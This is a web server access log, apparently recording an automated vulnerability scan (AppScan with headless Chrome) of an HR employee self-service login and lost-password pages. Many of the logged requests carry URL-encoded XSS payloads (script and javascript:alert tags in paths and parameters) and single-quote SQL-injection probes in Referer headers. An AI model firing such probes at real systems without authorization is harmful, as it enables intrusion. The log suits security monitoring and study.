"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2836%29%3c%2fscript%3e HTTP/1.1" 404 271 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=AfindpasswdB&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=AfindpasswdB&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "%27" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/redirect.php/\">?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/redirect.php/\">?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2837%29%22%3e HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2837%29%22%3e HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "%27" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php/\">?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/\">?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php/\">?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&action=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&lang=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&action=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&lang=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&action=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E&lang=%3E%22%27%3E%3Cscript%3Ealert%2839%29%3C%2Fscript%3E" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=+%3A%3Cstrong%3E%3E%22%27%3E%3Cscript%3Ealert%2835%29%3C%2Fscript%3E%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=+%3A%3Cstrong%3E%3E%22%27%3E%3Cscript%3Ealert%2835%29%3C%2Fscript%3E%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2837%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2837%29%22%3e" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2837%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2840%29%3c%2fscript%3e HTTP/1.1" 404 271 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2840%29%3c%2fscript%3e HTTP/1.1" 404 271 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSAppScanInfo=attXssAnalyzerDomBasedanalyzeXssFragmentSingleQuoteAlcprobepa000002" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "%2527" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 